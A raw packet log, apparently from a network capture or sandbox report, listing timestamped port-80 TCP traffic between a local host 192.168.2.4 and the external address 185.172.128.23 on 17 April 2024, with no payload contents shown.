Apr 17, 2024 06:57:04.322174072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322186947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322215080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322230101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322252035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322266102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322288990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322299957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322325945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322335005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322362900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322379112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322402954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322415113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322441101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322453976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322478056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322489977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322515965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322531939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322554111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322571039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322594881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322607994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322649956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.525868893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.525896072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.525935888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.525953054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.525971889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.525966883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.525968075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.525990009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526007891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526026011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526036024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526036024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526036024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526036024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526067019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526067019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526094913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526113033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526129007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526144981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526151896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526151896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526161909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526171923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526179075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526190996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526196003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526206970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526212931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526225090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526228905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526246071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526249886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526249886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526261091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526268005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526278019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526283979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526293993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526302099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526312113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526318073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526329994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526346922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526359081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526359081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526369095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526386023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526386976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526387930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526401997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526406050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526420116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526428938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526437998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526449919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526477098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526477098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526540995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526559114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526575089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526586056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526591063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526606083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526607990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526623964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526632071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526632071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526640892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526650906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526657104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526674032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526675940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526675940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526690006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526694059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526706934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.526715040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526734114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.526752949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.729986906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730052948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730079889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730083942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730097055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730113029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730130911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730144024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730146885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730144978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730144978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730165005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730176926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730176926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730181932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730199099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730202913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730202913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730216026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730223894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730233908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730245113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730252028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730263948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730268955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730285883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730285883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730303049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730319977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730333090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730333090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730333090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730336905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730356932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730362892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730362892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730375051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730382919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730391979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730403900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730407953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730426073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730432034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730432034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730442047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730449915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730458975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730474949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730477095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730477095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730492115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730499029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730510950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730513096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730528116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730531931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730545044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730554104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730562925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730573893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730580091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730590105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730597973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730607033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730616093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730628967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730633020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730645895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730649948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730660915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730667114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730679035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730684996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730696917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730701923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730715036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730720043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730731010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730736971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730753899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730767965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730767965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730772018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730792046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730794907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730808973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730815887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730824947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730840921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730849981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730859041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730870008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730875969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730891943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730891943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730909109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730926037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730930090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730941057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730951071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730959892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730967999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730977058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.730992079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.730993032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731010914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731024027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731026888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731041908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731045008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731061935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731064081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731080055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731098890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731098890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731115103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731117964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731132030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731146097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731146097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731148005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731163979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731163979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731179953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731184006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731195927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731200933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731215954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731218100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731235027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731235027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731251955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731252909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731270075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731271982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731290102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731308937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731317043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731317043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731317997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731328011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731342077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731344938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731362104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731369972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731369972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731379032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731388092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731396914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731405020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731415033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.731435061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731435061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.731452942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937366009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937443972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937462091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937478065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937494993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937510967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937526941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937524080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937525034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937525034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937525034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937544107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937608004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937613010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937613010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937613964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937613964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937623978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937638998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937654972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937659025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937670946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937686920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937686920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937688112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937702894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937712908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937712908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937735081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937752962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937792063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937808037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937824011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937838078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937840939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937858105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937860012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937874079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937885046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937885046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937891006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937902927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937907934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937920094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937937021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937952995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.937953949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937969923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937985897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.937999010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938004017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938019991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938021898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938039064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938039064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938055992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938064098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938064098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938086033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938101053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938103914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938117027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938133001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938148975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938153028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938170910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938174963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938174963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938193083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938213110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938250065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938266039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938282013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938292980 CEST	49730	80	192.168.2.4	185.172.128.23
